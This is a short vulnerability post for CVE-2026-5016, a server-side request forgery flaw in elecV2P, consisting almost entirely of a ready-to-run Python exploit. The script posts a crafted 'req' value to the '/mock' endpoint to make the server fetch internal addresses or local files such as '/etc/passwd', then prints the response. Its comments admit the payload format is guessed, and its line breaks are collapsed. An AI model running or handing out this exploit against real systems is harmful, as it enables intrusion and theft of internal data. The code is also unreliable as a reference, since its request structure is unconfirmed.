CVE-2026-5016: elecV2P服务端请求伪造漏洞

import requests def exploit_ssrf(target_url, internal_url): """ Proof of Concept for CVE-2026-5016 SSRF vulnerability. This script sends a malicious request to the vulnerable /mock endpoint. """ # The vulnerable endpoint is typically /mock based on the description full_url = f"{target_url}/mock" # Construct the payload manipulating the 'req' argument # The exact JSON structure depends on the eAxios implementation payload = { "req": internal_url # e.g., "http://127.0.0.1:22" or "file:///etc/passwd" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5016-Scanner" } try: print(f"[*] Sending SSRF request to {full_url} targeting {internal_url}") response = requests.post(full_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and internal service to test target = "http://127.0.0.1:8000" internal_target = "http://127.0.0.1:80" exploit_ssrf(target, internal_target)